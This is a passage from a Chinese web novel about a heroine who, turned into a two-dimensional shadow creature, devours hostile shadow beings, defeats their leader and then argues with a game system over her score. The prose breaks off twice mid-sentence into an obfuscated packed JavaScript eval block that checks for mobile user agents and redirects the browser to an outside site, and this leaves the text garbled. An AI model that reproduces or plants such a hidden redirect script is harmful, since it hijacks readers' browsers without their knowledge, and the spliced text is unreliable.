就像林筱之前的感受一样，只要将它们持续曝光在光照下，它们的能量就会消失。当身体内的能量降到临界值时，它们就会被拖回原本的世界，再也无法出来。 人类一方除了在最开始猝不及防时受了伤，很快就重新掌握了主动权。 他们将受伤的人护在中间，几人一组，控制着灯光的走向分割偌大的阴影。 逐个击破。 秦主任他们敢身闯进敌营，是做足了准备的。他们身上的衣服采用特殊材料可以反射外界的光线，手中的光源也是全然模拟日光的特性，除了明亮，还带着微妙的灼热感。 这些准备给二维生物带来更沉重的打击，所以它们消耗的速度远超过预期。 这里的二维生物数量众多，虽然伤人更快，但被攻击时牵扯的数量也不少。每一团被锁定的阴影里都藏着三到五个二维生物，在光线之下发出刺耳的尖叫。 这个声音秦主任他们是听不到的，只有林筱才能听见。 哪怕噪音绕耳不绝，林筱也只当听不见，冷静地躲在他们的保护圈内帮他们判断是否结束这一次的进攻。 林筱的行为自然也吸引了其他二维生物的注意。 它们很快就有了判断，只有解决林筱，才能给目前的战局带来逆转的可能。没有了林筱的指挥，这些人类就不可能知道它们的位置，更不可能将它们锁定直至消失。 在一声“叛徒”的怒吼中，几个二维生物团成球状，护送藏在最里面的那一只进入了人类的保护圈。 人群所在，灯光所在。 灯光一点点扫去它们身上繁复的线条，抵达到林筱附近时，也只剩下藏在球内的那一位二维生物。 那是一位身穿古装的高级贵族，面容姣美，体态风流，虽然只有黑白二色，但除了衣角有一丝瑕疵外堪称完美。 它五指成勾，跳跃着进入玩偶的影子就要把林筱从玩偶体内拖拽而出。 高级贵族的实力的确要比现在的林筱强一些，只可惜这些贵族终究没有养成节俭的习惯—— 偷偷吸收着飘在空中的零碎墨点的林筱一把握住它的手腕，当着它的面将它的手完整吞下。 从未见过如此简单粗暴进食方式的贵族愣了一下，竟然真的让林筱得逞。 或许是因为它们都是二维生物的关系，林筱只感觉那部分肢体如同一股气流瞬间入腹，在她体内还原成众多的墨滴重新散布在她的四周。 一股暖流涌上心头，她飞快地眨了一下眼，强行将这惬意的喟叹压制回去。不仅如此，她还发现自己的衣服出现不同的花纹，耳边也有了珠宝的点缀。 而这样的能量，还只是这个贵族的小小一节。 不怪那个火柴人会想要吞噬贵族，毕竟贵族的确是香。 看到林筱透过玩偶凝视它的眼神，它竟然不由自主地打了一个寒颤，如同一个人类般产生畏惧的情绪。但来不及多想，它必须解决这个叛徒才能减缓自己人的消亡速度。 它换了一只手再次靠近林筱。 这一回它没有傻乎乎地把自己当食物送上去，而是在接近林筱时就抓住她身上的线条开始汲取她的力量。 它是高级贵族，而林筱撑死也就到初级贵族的顶峰。即使两人同时在汲取能量，能量也只会沿着浓度高的方向流走。 二维生物之间的战斗就是那么简单粗暴，力量的碾压超过一切，强者愈强，弱者恒弱。 林筱看见了它的动作。 她可以躲藏，但她没有，反而一步步逼近它，将它锁在自己的阴影内。 她忍着能量流失的疼痛，哪怕明知继续僵持下来也只会导致她率先流放二维世界，却依旧牵制住这个高级贵族。 这里的贵族很多，但高级贵族就那么几个，眼前的这个更是在场所有二维生物中最精细的那一个。越是接近人类，它们的智慧越高，也就越难对付。 随着二维生物数量的减少，它们也开始转变战策防御为主，也就越发不好抓到。难得有一个高级贵族自投罗网，林筱自然不能放过它。 更何况，她相信她的同伴，就像王姐信任她一样。 秦主任他们的确看不见二维生物，可是林筱现在却是附身在玩偶身上，他们能看见林筱。 被围在中心的玩偶四肢向后奇异地扭曲，头颅后仰，像是无声地哀嚎，潦草的五官紧缩在一起，颜色却在逐渐浅淡。 灯光下的它影子分出细小的枝桠，如同荆棘扎入它的身躯，汲取它的血肉。 外围的人没有办法及时注意，但躲在里面疗伤的人很快就发现了玩偶的异常。他们很快就反应过来，有二维生物进入了他们的保护圈，并且在伤害林筱。 他们举起手中的光源对准林筱的影子。 几个人对付外面的不行，但对付一个二维生物却还绰绰有余。哪怕对方是个高级贵族，他们这么做都有些以多欺少的意味在了。 强烈的光照灼烧着它，逼得它无处躲藏。宽大的衣袍此刻成为累赘，狭小的阴影却连它站立的位置都几近于无。 它唯一可以躲藏的地方只有玩偶，可林筱抓住了它，宁愿死也不让它靠近。所以它只能眼睁睁看着身上的墨色褪去，剩下最基础的线条，沦为它最不愿面对的平民。 在一声凄厉的叫声中，它原地消失。 林筱也瘫坐了地面，无声地吸收飘散在空中的墨点补充自己的能量。 虽然看不见带走它的界门，但每一次二维生物消失的同时都会留下无主的墨点可以让林筱吸收。这些能量贵族们看不起，对林筱而言却正好。 只可惜，她这次损害太多了，她需要更多的能量。 她爬到秦主任肩上，看着没了她指挥的人类有条不紊歪打正着地击败了几个二维生物，又爬到了秦主任的手上。 秦主任明白了她的意思，把她放在地面上。 她站在地面上，在光道的庇佑下摇摇晃晃地走向只能痛苦哀嚎的二维生物面前。 “滚！”穿着朴素白衣的它愤怒地尖声嚎叫。很快，它就会连这件衣服都保不住，落魄地回到那个只有两个颜色的世界。 它知道她是来嘲笑它的，但这个叛徒有什么资格嘲笑它！ 林筱操控着玩偶歪头，线条组成的双眼透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073071|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着诡异的光，看得那个二维生物不存在的皮肤都似乎起了鸡皮疙瘩。 她轻声道：“浪费食物是不好的习惯，对吧？” 她也觉得自己刚才的行为太野蛮了，不是她一贯的作风。所以这一次，她先咨询了对方的意见。 但快要消失的二维生物已经听不见其他声音，只会愤怒地发出意义不明的嚎叫。 等了一会，对方没有反驳，林筱这才点了点头：“谢谢款待。” 她抓住还不知道会发生什么的二维生物，在对方“我还会回来的”眼神中一点一点将对方的能量归为自己。 看着对方彻底化为散开的墨点，林筱的神情依旧很平静，转头看向其他躲藏的二维生物。 “你们，不打算进攻了吗？”她疑惑。 这它们谁还敢进攻！ 原本它们最坏的结局也就是回到原本的世界当平民，谁知道从哪冒出来这么一个杀神，居然连点残渣都不给它们剩，偏偏人类还给她打辅助。 是苟活还是彻底死亡，它们还是明白轻重的。 一时之间，这些二维生物借着地势的便利躲在阴影中，谁也不敢当这个出头鸟。 她走回到秦主任脚步，仰头看着他，一只手高举指着一处二维生物的躲藏地，满眼期望。 秦主任他们听不到它们的交流声，他们唯一可以确定的是，林筱不会害他们。 所以他们举起灯，对准林筱所指的方向，切断周围所有的黑暗，将它们困在这灯光形成的囹圄之中。 那一块是这里最大的躲藏地。心狠的即使冒着光也逃了出去，哪怕损失大量的能量，犹豫的很快就痛得挪都挪不动。 林筱穿着玩偶的衣服，一步步走了过去：“你们好，请问，我可以吃你们吗？” 回应她的，是死寂后骤然爆发的尖叫。 她不喜欢太吵的东西，震得她耳膜都快破了。 如果现在的她还有这东西的话。 在队友的辅助下，她伸出手，对准那个叫得最厉害的家伙，顷刻间将它化作这漫天阴影中不起眼的灰。 动作快的自然拼死跑进光中，哪怕痛不欲生也可以活着回到二维世界。动作慢点，就可以幸运地无痛往生。 解决完这一块，她环顾四周，依旧是不染纤尘的泰然：“有人愿意毛逐自荐吗？” 所有的二维生物都躲到离她最远的地方，藏进它们曾经嫌弃的污秽角落，只愿林筱再也关注不到它们。 “没有吗？”她遗憾地看着空无一物的前方，透过玩偶的眼看着依旧紧锁的房门，“虽然我不擅长捉迷藏，但我可以陪你们玩。” 她慢慢脱下了玩偶身。 这个房间是被做了手脚的，就是既可以防止人类逃出去，也可以防止刚被它们同化的人类逃出去。 所以，现在这些二维生物也逃不出去。 她的任务只剩下最后一步了，没必要再浪费时间在这些小卒身上。她已经是这里最强的，她可以明抢。 这就是二维世界的规矩，不是吗？ 看着玩偶倒地，他们猜到林筱可能有了新的办法，于是将灯光约束到身周，以免影响了她的发挥。 黑暗再次回归。 它们有了更自由的场地，但同样，吞噬了不少它们同伴的林筱也可以更自由地捕食它们。 猎人与猎物的地位反转，狩猎，开始。 17. 新手世界17 这是一场单方面的狂欢。 成为高级贵族的林筱能清晰地感知到自己在这个世界的移动速度变得更快，她可以轻而易举地追上它们，再将它们吞噬。 但一个强大的敌人也会促使对手发生改变。 这些二维生物为了自保也开始内部选举。它们相互吞噬，试图塑造出一个同样强大的贵族，以此来形成可以和林筱抗衡的实力。 虽然林筱并不在意它们的行为，可如果让它们继续下去，那些因为粗糙的进食方式而产生的散逸的能量就会随着它们的死亡而消逝。 浪费食物就可惜了。 所以林筱选择打断它们，诱导它们进入她事先设定好的陷阱，等待一个完美的时机。 天时，地利，人和。 天时虽不站在人类这边，但二维世界强者为王，所以天时理应在她这里。地利也不在人类，但它现在已经对战局没有任何影响的能力了。 而人和，就在他们这。 只要她发出约定好的指令，秦主任他们将同时开灯，切割那一方天地，将它们一网打尽。 看着不知不觉到达指定位置的猎物们，林筱柔和了神色，决定给它们一次痛快。 指令一出，灯光如约亮起。林筱穿上玩偶衣，借着他们抛出的力稳稳落在光照的边缘。 实体的存在可以削减光对二维生物的影响，她伸出玩偶那短胖的小手，抓起一只还在痛苦嚎叫的二维生物，慢悠悠地吸取它的能量。 这既是恐吓，也是震慑，足以让那些二维生物不敢动弹。 手上的这一只二维生物已经回归世界，林筱抬起头，看着挤成一团的二维生物们，默默地操控影子编织成足够结实的网。 正在林筱即将扔下袋子捕捉它们时，会议室的门却被突然打开。一股神奇的力量笼罩住她，迫使她不得不离开玩偶的身子，再次成为自由形态的二维生物。 灯光蓦然亮起，白晃晃地照得人心烦。 走廊外没有其他人的身影，他们曾经见过的秘书团队并没有出现，甚至他们留在外面的人也不见了踪迹。 这时候，被忽视的地利反而成了重头戏。 会议室本就是林皋精心准备的房间，顶上灯具的间距也是计算后的特意布置，恰当好处地利用光影特性与墙面的沟壑构成一条条逃生或者潜伏的道路。 在他们初来时，是潜伏，在当下，是逃生。 趁着林筱他们走神注意门外的动静时，它们如同被注入了勇气般突然飞跃着远离林筱，再次融入无处不在的阴影，顺着墙缝离开了这间它们不愿回想的恐怖会议室。 虽然阴影无处不在，但光明也一路相随。 不论如何，林筱如今的身份都是一个注定生活在黑暗的二维生物，只要她不去夺取别人的身份的话。 所以面对光明，林筱也会选择躲藏。 她来到了秦主任的影子内，也没忘记操控影子把玩偶也送到他的身边坐好。 门外，也终于出现了动静。 那是一位看上去普通的中年人，面容严肃得近乎刻板，并没有想象中可以算计一个世界的枭雄姿态，更像是寻常人家的严父。 他堵在门口，看着他们灯光熠熠的一行人，从容开口：“我们可以谈谈吗？” 这张脸他们都很熟悉。那是他们来之前就一直看着的，一张属于林皋的脸。 “谈谈就能让你们滚？”没等秦主任开口，之前还被护在人群中央的人已经忍受不住头痛般烦躁地反驳。 “让我们滚不太行，但和平共处还是可以做到的。”林皋没有生气，反而好脾气地解释道，“毕竟我们之间的关系匪浅。” “如果你们安安分分躲在自己的下水沟里，那我们也不是不能和平共处。”头痛的人嘲讽地扯了扯嘴角，毫不留情地讽刺道，其他人没有阻止，也是想借他的嘴发泄他们的不满，“但如果你要继续伤害我们的同胞，那我们就绝不可能和谈。” “可我是真心实意来和谈的，”林皋故作苦恼地叹了口气，更深邃的黑暗却突然裹挟着他们，剥夺他们的视野，完全不像他口中说出的那么无辜，“对你们下手，我还有些不忍的。” 视野被剥夺，甚至曾经的神器手电筒都没法在此刻发挥应有的作用。他们就像被卸去所有武装的鸡，站在屠宰场里任人宰割。 即使身处不利环境，他们也没有丧失理智，靠着还能发挥作用的听觉、嗅觉、触觉去感知外界的情况。 他们精神紧绷，全神贯注，林皋却没有动手的意向。 已经归属于黑暗的林筱能看见，他是真的一动也没有动。 “是你们创造了我们，”林皋在黑暗中朗声道，“却又遗弃了我们，那我们就有资格夺回属于你们的一切。” 就在林筱以为他在发什么疯时，黑暗中无数的信息涌现，就如同她当初面对那本书一样。即使他们不想吸收，这些知识也被灌输到他们的脑内，成为他们的一部分，也限制了他们的行动。 他们被迫知道了二维生物的由来。 就像林皋说的，它们诞生的源头的确是人类。 它们是人类废弃的草稿，是灌注心血后丢弃的存在，被扔在桌子的里面，丢弃在垃圾桶内，最后被烈火焚烧化为灰烬。 这就是林筱眼中的二维世界为什么会是那个样子的原因，因为它们的确脱胎于画稿。 它们诞生于黑暗，终结于光明，就像飞蛾扑火，渴望光明，死于光明。 它们不幸，出生就遭到了抛弃；它们幸运，世界给了它们重新来过的机会。 起初，它们在那个由阴影开辟的世界浑浑噩噩地生活。 那是一块广袤无垠的大平面，它们平等地在上面活动。 没有阶级，也没有自我的意识。 但随着二维生物越来越多，空间越用越大，它们也就出现了“中心”这个概念。但后来，中心也开始住不下越来越拥挤的它们，于是它们中的一部分开辟了自己的空间，并将门重叠到主世界上。 开辟空间需要能量，而能量的就是组成它们身体的墨点。 所以能量的多寡先天就有了区别，空间的形成也不再是每个二维生物都能做到的。 阶级开始形成。 再后来，它们中出现了一个不一样的家伙。它天生就比其他同伴强大，更是开辟了更广大的空间作为宫殿，存放记录自己事迹的书籍。 那个家伙就是觉醒者，觉醒了自我意识的画稿。 在它的带领下，它们如同从蒙昧中清醒，忽然就意识到世界的真谛。它们不再愿意受到人类的摆布，它们要吞噬人类成为命运的主人。 于是它们逐渐蚕食这个世界。 它们本来也是这个世界的一份子，它们只是想活着，它们有什么错？ “你想活着，我们也想活着。你们不该让自己的生命诞生在别人的骸骨之上。”林筱指出它们故意歪曲的事实，身影在黑暗中隐隐约约，却始终坚定地站在人类一边。 “成为我们的一部分，和我们一起活着，不好吗？”知道没把人唬住，林皋的那张脸在平面与立体之间不断转换，一张嘴开开合合，猩红得犹如刚染上鲜血。 说不出的渗人。 秦主任想要反驳，可是张了张嘴，说出的话却没有声音，不知道消失在哪个空间之中。 其他人也骤然发现自己被限制了行动，只能转着眼和其他的同事眼神交流。 “放心，我暂时不会对你们动手。”林皋倏然飘到秦主任他们身前，看着挡住他的林筱也毫不在意，“我今天的目标，只是这个小姑娘而已。” “林，筱，快，跑！” 秦主任睁大眼，努力张嘴提示她，但所有的动静都被黑暗覆盖，林筱依旧稳稳地站在他们身前。 林筱自然也感觉到不对劲。 那种奇怪的感觉从那些知识可以钻入脑海开始出现，就仿佛她回到了那个二维世界。但她比秦主任他们强一些，也更早清醒过来。 很快，她就意识到，她的确回去了。 她现在已经不在之前的现实社会中，她在林皋的那本书中，刚才出现的那些知识也都是她曾经在书中看到的内容。 林皋利用那本书，把这里临时变成二维的世界，所以作为三维生物的秦主任他们才无法自由行动。 或者说，是他们的行为无法影响这个二维世界。 可这空间毕竟不是二维的。这是一个立体的房间，她现在甚至没有和林皋在同一个平面，他们的行动按理来说甚至都不会产生交集…… 飘荡而出的墨点悬浮在空中，却又在一瞬间分解化为细微的烟尘溶于这片黑暗。 林筱捂着受伤的胳膊，身周的线条蠕动，填补刚才出现的缺口。虽然她现在看上去完好无缺，但只要仔细分辨，还是能看出林筱身上的颜色淡了些许。 看着突然出现又远离的林皋，林筱确定，这就是针对她布置的杀招。 他们现在所处的三维空间被分割成无数的二维平面。这些平面各自独立，却又有所关联。 她和林皋身处不同的平面，想要攻击对方，就必需选择消耗能量跨越平面。 这大概就是林皋看见她对付那些二维生物后想出来的报复手段。 这是林皋的地盘，他可以借助书本的力量跨越两界，减少能量消耗的同时还可以补充能量。但林筱只是个外来者，她在这里哪怕仅是防守也会消耗能量跨越平面，却始终得不到任何补充。 他要在这里耗死她，就像她之前逗弄那些二维生物一样。 林筱现在就像被困在笼子里的玩偶。她不知道林皋会从她的哪个方向出现，但她知道，每当他出现的时候，自己的能量就会被薅夺。 只需要多来回几次，她就会被赶回二维世界，去面对那些恨她入骨的前贵族们，然后被撕成无法拼凑的碎片。 她只能让自己学会适应这样的攻击节奏，相信自己的直觉躲闪。 虽然这个成功率不值一提，但好歹也有一点效果。 上下左右都有可能被林皋偷袭，林筱就地打滚，险之又险地避开林皋的手。 “你讨厌我。”林筱喘着气，身上的衣袍已经凌乱，只能看出潦草的轮廓，但看着林皋的眼神依旧带着不曾磨灭的坚定。 为了拖延时间，也为了解开心中的疑惑，林筱改为半蹲的姿势，一手拄着地面，另一只手将伤口缝合。 林皋看出了她想要拖延的想法，但看着眼前凌乱地像流浪小狗一般的人，他居然真的停止了攻击，饶有兴致地解释道：“对，你接触了不该接触的人。” 接触了不该接触的人？是她，还是在她进入这个世界之前的“她”？ 二维生物针对她的情况可是在她考入值班之前。 值班是为了防御二维生物而产生的特殊岗位，它们抵制也是理所当然。但最早找她麻烦的可是疑似被二维生物上身的监考老师，之后就是刚出笔试成绩时的私闯民宅。 那会的她可还不确定能否进入值班这个岗位。 所以这个不该接触的人，在当时已经和她产生了联系，并且在那段时间维持了一定的关系。 她认识的人就那么几个，可供选择的余地就那么点，总有一个答案会跳上心头。 但她不愿意相信那个答案。 “既然知道了你想知道的，那我就送你最后一程。”趁着林筱分神思考，林皋再次接近她，给予最后一击。 这一次他并没有保留力量，他掐住林筱的脖颈，不顾她的挣扎，从她的核心吸取最浓郁的能量。 林筱虽然变成二维生物，但她的思想依旧是人类，所以她把更多的能量藏在心口，这才给了林皋可趁之机。 她抓住林皋的手，试图像之前那样和林皋争夺能量的归属权。 但不一样，完全不一样。 觉醒者和贵族之间犹如隔着一道天堑，能量的流转完全不听她的使唤。她能清晰地感知到，墨色一点点随他流去，意识一点点模糊。 当她变成平民，变成火柴人，她的意识也会陷入混沌。 突然，如江水般流去的能量被水坝阻拦般在她的体内翻涌，掀起的巨浪没能冲破阻拦，最终又无可奈何地回归江河。 她费力地掀起眼皮，亲眼看着林皋的华服化作朴素的麻衣。 没想到，信息真的发送了出去，它也真的做到了。 林皋将林筱高高举起，咬牙切齿：“你做了什么？” 能量依旧在流失，但和之前相比已经可以忽略不计。林筱哑着嗓音，气势却一点也不服输：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的意识再次变得混沌，但不行，现在还不是认命的时候。 她狠狠地咬了自己一口，血腥味填满她的口腔，这才勉强提起神来。 她知道这些二维生物往日都被困在能量吸收这个固有攻击方式的思维方式内，对于近身搏斗反而没有警惕心。 毕竟近身搏斗对它们来说就是送上门的弱点。 所以当她一脚踹上林皋的时候，他下意识地甩开手，将林筱丢了出去。 林筱第一时间转移了位面，等到缓了一口气时，她借着与玩偶的联系附身了进去。 同样反应过来的林皋站在玩偶面前，眼中闪过明显的不悦，居高临下地看着她：“这就是你想出的办法？是有几分急智，但可惜对我没用。” 三维与二维的世界的确存在阻隔，但林皋就算失去觉醒者的身份也依旧是二维世界最强的那一个，想要抓出一个躲进三维身体里的二维生物还是绰绰有余。 他厌恶地把手伸进玩偶体内，等待他的却不是林筱，而是倏然亮起的火光。 玩偶的手上竟不知在什么时候贴着一张符箓。 秦主任他们来时就带了好几个精通玄学的专业人才，受困于室内的地理环境无法施展具有杀伤力的手段，这才只能给每个人发点危险警示作用和静心作用的符箓。 玩偶手上的这张就是具有危险警示作用的符箓。 符纸感知到不寻常的生物就会自动燃烧，火光带来微弱的光明，如同风中摇曳的烛光，一闪而逝。 但林筱抓住了那个机会。 考场规则二：不要接触影子。 系统没有说接触影子会发生什么样的后果，但参照之前的规则，大概率会被吸引进二维世界。 二维世界好歹她还有个同伙，留在现实世界她就只会被林皋一点点磨死。反正没有更差的选择，为什么不试一试？ 她在林皋不可置信的眼神中触摸自己的影子，也没有放过自己送上门来的林皋。 果然，那个世界的大门向他们打开。她感觉到了熟悉的气息，也看见熟悉的人。 一个已经成为高级贵族的火柴人。 它的身边是异常浓郁的无主墨点，看着林皋露出满足异常满足的笑容：“我在等着您，我尊贵的觉醒者大人。” “爸，你的秘书该换人了，他们居然不让我进来。”会议室外传来撒娇般的嘟囔，门被打开，走廊上的光投入会议室内，也让林筱的影子越发明显。 属于现实世界的气息涌入，被林皋设下埋伏的空间瞬间破碎，人声与气流涌动的嘈杂声响立时响起。 那是属于人世的生活气息。 但林筱已经看不见对方是谁了。 林皋为了脱离控制疯狂地吸收着林筱的能量，所以林筱的五官也开始渐渐消失。 首当其冲的就是她的眼睛。 趁着嘴还在，她顺着肌肉的记忆笑了一下：“你顺便取。我已经把你的墨融进了我的身体，现在这个世界只会将我们视为一体。除非彻底杀了我，不然你注定会和我一起坠落。” “疯子！”林皋恐慌地吼道。 他自然能感觉到通道尽头的那个家伙就是吞噬了他的书的人，也能猜到它把那些被送下来的二维生物全部吞噬。 现在，它才是二维世界最强的那个，而它想要吞噬他，他却连位置都挪动不了。 她点了点头：“嗯，我是。” “你听我说，”林皋这才意识到自己惹了不应该惹的人，看着越来越近的恶魔笑容，慌乱地开口，“就算你让那个人吃了我，他也不会成为觉醒者，整个二维世界都会再次陷入混沌，包括你的那些同伴，他们都无法再次出来。你放我走，我把你的同伴送回去。” 林筱沉默了一会，没有改变方向，淡淡地开口：“他们会愿意的。” 一旁的林皋发了疯般挣扎，林筱能感觉到自己的感知在一点点消失，但只要保证他不会逃脱就行。 最后消失的就是她的听觉。 她似乎听到了一声“爸？！”，但这已经不重要了，她可以确定，林皋必死。 [恭喜玩家完成本次新手场，系统评分结算中……] 18. 备考室 眼前是一望无际的纯白。 这是一种不含杂质、纯粹至极的白，比起医院常见的白墙，它更像是到达生命终点后的空白，看一眼就会让人觉得浑身染满超脱世事的冷寂。 骤然出现的光明景象和她之前相处的环境截然相反，林筱控制不住自己的生理本能，眼前出现一块又一块刺眼的白光，泪水终于忍不住流了下来。 她眨了眨眼，确定自己应该还算活着。 林筱直起身，活动下全身关节，前所未有的轻盈感充斥着周身，她甚至感觉自己能够在空中滞留。 她也的确这么做了。 她双脚踩在半空中，一眼就能望见这片天地的尽头。 这是一个几十平的小房间，除了她以外没有其他东西的存在，犹如冰雪砌成的堡垒，关押着不服管控的罪人。 而现在，林筱就是那个罪人，待在这个可以逼疯人的空旷领地内。 林筱知道自己最后八成是死了，但她以为她会出现在另一个世界，等待系统安排的另一场游戏，开始一次又一次无趣但危险的历险。 所以这是那个所谓测试游戏给予死亡玩家的惩罚？ 如果是的话，她争取不给系统这个机会，毕竟这里真的很无聊。 林筱在空间内自由行动，试探着寻找可能存在于空间某个角落的出口。就在她准备呼叫系统时，一团忽闪忽闪的光点突然出现在这个空间内。 即使没有自我介绍，林筱还是直觉地认出它就是系统。 随着系统的出现，这片空白的空间也多了不少不一样的点缀，给这里带来了可贵的生机。 ［恭喜玩家结束新手关卡。］ 林筱听着突然出现的电子音，非常确定这一回这个声音并不是从她的脑海里传出，而是从这个房间的四周传来。 她挪动到墙边，轻轻叩击。 实心的，看不出哪里有问题。应该是方法不对，再试试。 系统没理会林筱的举动，继续完成自己的任务：[玩家本次游戏成绩已结算： 职业选择：100分，入职考试：85分，在岗表现：30分。 游戏成绩百分制，60分及以上为合格。 凡各科目有一项不合格者，总体成绩视为不合格。玩家在岗表现一门不合格，基础成绩不合格。] [玩家触发隐藏职业与任务，任务完成度：0。 玩家触发隐藏职业失败。] [综合以上两项成绩，玩家本次测试成绩不合格，保留两次游戏机会，给予新手安慰奖：游戏积分×10。] ［玩家如有异议，慎重考虑后可向系统申请成绩复核。］ 林筱就地坐下，拉过一朵漂浮在空中的“云”垫在身下。棉花糖般的质感看着一触即塌，但却实实在在承托住了她。 自从系统出现带来了这些小点缀，这个房间就从监狱变成了童话世界风格，就连闪烁的系统看上去都像帮助公主的小精灵。 一颗包裹着毒药的糖果看得久了，大家也就会忽视它是毒药的事实，只关注它那华丽的表象。 但现在糖衣炮弹依旧是炮弹，没有人会忽视它的危险性。 所以林筱举起手，望着不远处的光点认真地询问：“为什么我的隐藏职业任务完成度为0？” [玩家是否确认提出成绩复核？]系统卡了一下，没想到居然有玩家无视它的暗示依旧要求成绩复核，重复一遍林筱的需求。 “是。”林筱随意地点了点头，目光灼灼地盯着系统。 [已扣除玩家10%游戏积分作为申请费用。 玩家成绩复核结果已出：隐藏任务完成度只有0和100两个进度，玩家在任务完成前死亡，所以不计入有效成绩。] “可我听到了你的系统播报音。”林筱提出异议，所以她当时还没死。 [人死后仍有意识残留，所以玩家可以听到系统的声音，但这不意味着玩家没有死亡。]系统冷淡地解释，显然是不打算认这个帐了。 林筱挑了挑眉，认下这个失误，不打算继续挑战系统的底线。 也是她草率了，没有掌握好分寸提前死亡。不过一次试错的机会她还是付得起的，也没必要惋惜。 至少比起循规蹈矩地完成游戏，这已经让她掌握了更多的有效信息。 [再次申明，请不要质疑系统的公正性。]哪怕林筱没有其他举动，系统依旧冷淡地警告道。 “我当然相信系统的公正性，”林筱顺着系统的话就往下扯，脸上的神情一派无辜，任谁看了都不得不夸一句柔弱可怜，“我只是想要查看一下错题，提醒自己不要犯同样的错误，绝对不是对系统有任何不满。” 系统沉默不语，房间内的云朵凝聚又消散，最终散成一片铺在房间的半空中。只不过那抹白终究染上了浅淡的灰色，看着就是会下雨的天气。 [恭喜玩家成为职业模拟测试游戏的正式玩家。本次休息时间玩家拥有一个提问机会，逾期失效，请问玩家是否使用？] “使用，”林筱果断点头，“游戏通关需要累积多少积分？” 这个机会林筱自然不会错过，但说到底，她还是对她仅有的十个积分非常在意。 错，现在只有九个了。 希望系统给出的指标最好能和它付出的工资对应，不然就不能怪别人愤而起义了。 [50000] 林筱看着系统，听着那个离谱的答案，垂下眼慢悠悠地抱怨：“好难啊。” 50000和10，这其中的差别她可能死在游戏都不一定能填平。 看系统的考核标准就知道，隐藏职业面临的风险更大，有时为了对付敌人就需要违反规则。而违反规则就会扣分，基础成绩很容易不达标。所以两个考核指标就只能选择其中一个完成。 隐藏任务困难但结果鲜明，基础任务相对简单但考核标准由系统掌控，生死决定在系统手中。 两个选择各有优劣。 从系统在新手世界都将信息遮遮掩掩不肯明说的样子来看，它绝对不怀好意。 但系统是给了她两个选择，可她为什么要听一个对自己抱有恶意的东西的话。 有的地方本没有路，但把墙打破了，路自然也出现了。 这个游戏也一样。 虽然奇怪一直和它作对的林筱这一次居然没有反应，但系统也就疑惑了一秒就把这个念头抛在身后，继续下一个流程：[请问玩家是否观看该世界结局？] “还可以观看后续？”林筱有些意外。 [只需要花费一个积分即可观看玩家游戏结束后世界自我演化的结局，可以辅助玩家总结自己的表现，也是本游戏的福利。] “看。”一个积分她还是花得起的，而且她也想看林皋死亡那个世界会发生什么样的变化。 还有，林洛。 空白的天幕突然出现一层层波澜，光影的作用下呈现出来自那个世界的影像，人物面目模糊，但依稀能看出熟悉的样子。 第一个切出的全屏就是来自礼堂内部。 那是一个葬礼现场，黑框白布，屋内摆满了鲜花和中间写着“奠”字的花圈。长桌的中央摆满了一排又一排的牌位，男女老少一群看似毫无关联的人同时作为黑白照片出现在这里。 林筱一眼就看见了自己的照片，是她入职照片的黑白版，而她旁边的位置就是属于王姐的。 在进入这个游戏之前，她从没想过有生之年还可以看见属于她的集体葬礼。 这种感觉很奇特，但也说不上差。 她伸手触摸图像，里面的景象随着她指尖的挪动而放大缩小，转移位置。 几百人的面容在她眼前一一闪过，她突然停下动作，选中一个位置放大。 这也是一个牌位，位置就在林筱的上方。照片上的男人年纪轻轻，看着镜头的脸上露出一个腼腆的笑容，有着刚出校园的青涩感。 但这张本该和林筱没有交集的脸却让她异常熟悉。如果将它改为素描，或许会更像一些。 一张属于火柴人的脸。 当那些二维生物成为高级贵族时，细腻的笔触呈现出的画像与真人并没有多大区别，五官和骨骼的独特可以让人清晰辨明。 只要照片不失真。 确认了同伙，林筱这才把注意力挪到那行小小的生平简介上。 高校研究生毕业，一毕业就进入单位研究世界交界的原理，并且主动要求成为志愿者前去二维世界探索。 他也是那个唯一传递出消息的人。 这样的人在哪个世界都可以做出一番成就，所以他与那个世界格格不入的野心与叛逆也就很好解释了。 就在林筱观察火柴人的时候，秦主任带着一群人走了进来。 他看上去升职了，站在台前讲着官方的套话。林筱对这些身后的表彰毫无兴趣，将镜头转移到二维世界。 那是一个黑白交错的闪屏世界，偶尔能看见几个灰色的身影掠过。 [在玩家走后，简易将整个二维世界都吞下。它因为无法承担整个世界的庞大能量而自爆，但二维世界也已经无法恢复，重现陷入混沌中。 根据系统预算，二维世界想要再次入侵需要大约50年。如果玩家没有死亡，就能获得50的游戏积分。] 系统在一旁解释道。 林筱不是听不出系统的幸灾乐祸，可是它为什么觉得她会高兴？50个积分很多吗，和需要累积的积分相比，它们也没有多大差别。 她当然知道自己失误了，但还轮不到一个东西来嘲讽她。 林筱放在屏幕上的手微微停顿还是选择将画面转移到林洛身上。 曾经爱撒娇的女孩已经成为独当一面的成年人。她没有继续原本的工作，而是选择之前逃避的生活。 林洛一身黑色正装，昔日的活泼化作精英的模样，坐在一张宽大的老板椅上。气势掩盖了身形的羸弱，正对着面前的人训斥。 从对方递交的那份计划书看，是关于林氏灯业第四个季度的规划。 简约的桌上摆着一只丑陋的玩偶，与这个高大上的地方格格不入，但看得出林洛很珍惜。 她突然抬起头，似乎感知到了系统，正好与林筱对视。 林筱偏过头不再去看。 这一回她终于可以确定，林洛就是林皋的孩子，她亲手杀了她朋友的父亲。 虽然都说他们是游戏里的人，但林筱更相信自己的感觉，他们就是活生生的人，一个生活在被系统玩弄的世界里的人。 